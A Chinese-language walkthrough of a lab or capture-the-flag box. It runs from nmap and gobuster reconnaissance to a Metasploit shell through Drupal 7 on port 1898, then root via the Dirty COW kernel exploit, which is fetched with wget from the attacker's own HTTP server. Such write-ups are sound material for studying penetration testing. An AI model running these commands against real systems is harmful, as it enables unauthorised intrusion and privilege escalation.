信息收集
地址探测
使用arp-scan探测目标主机IP地址
arp-scan -l -I eth0
目标主机IP地址为172.30.1.132
端口扫描
使用nmap对目标主机做扫描
nmap -sS -sV -T4 -p- -O 172.30.1.132
目标主机开启了22端为SSH服务,把web放在了1898端口。
-sS SYN扫描是Nmap的默认扫描,也叫秘密扫描
-sV 对服务版本做扫描
-T4 野蛮的扫描(常用)
-p- 扫描所有端口
-O 对服务器做版本扫描
目录枚举
使用gobuster对目标主机进行目录枚举
gobuster dir -u http://172.30.1.132:1898 -w work/lab/CTF/ATT_CK_01/SecLists-master/Discovery/Web-Content/big.txt -x .php,.rar,.html,.zip -t 20 -b 403,404
这里并没有发现什么有用的信息
http探测
目标主机使用的CMS是Drupal 7版本
漏洞探测及利用
漏洞搜索
使用MSF搜随Drupal 7版本漏洞
search Drupal
漏洞利用
use 1
options
使用1,options查看选项
这里注意要把目标主机的端口号改为1898
set LHOST 172.30.1.20
set RHOSTS 172.30.1.132
set RPORT 1898
exploit
shell
python -c 'import pty;pty.spawn("/bin/bash")'
执行后拿到shell,利用python拿到交互式shell
提权
信息收集
lsb_release -a
uname -a
发现这是16年版本;在Linux内核里有个9年高龄的漏洞:脏牛提权漏洞,在16年10月18日之前的Linux未打补丁则会有此漏洞。
漏洞搜索
使用searchsploit对漏洞进行搜索
searchaploit dirty
漏洞利用
使用searchsploit -m 镜像到本地
searchsploit -m linux/local/40847.cpp
python -m http.server 9001
在使用python搭建一个临时服务器
cd /tmp
wget http://172.30.1.20:9001/40847.cpp
切换到tmp目录下,使用wget下载。
echo "g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil">dirtycow
chmod +x dirtycow
./dirtycow
./dcow
编译生成一个dcow的文件
给这个文件加上执行权
运行dirtycow脚本,会生成一个dcow脚本
运行dcow脚本
cd /root
ls
cat flag.txt
拿到root权限,切换到root工作目录,拿到flag。
总结
1、目标主机web服务器运行在1898端口。
2、使用msf获取shell时要把目标端口号改为1898端口
3、Linux16年版本在内核里有个9年高龄的漏洞:脏牛提权漏洞,在16年10月18日之前的Linux未打补丁则会有此漏洞。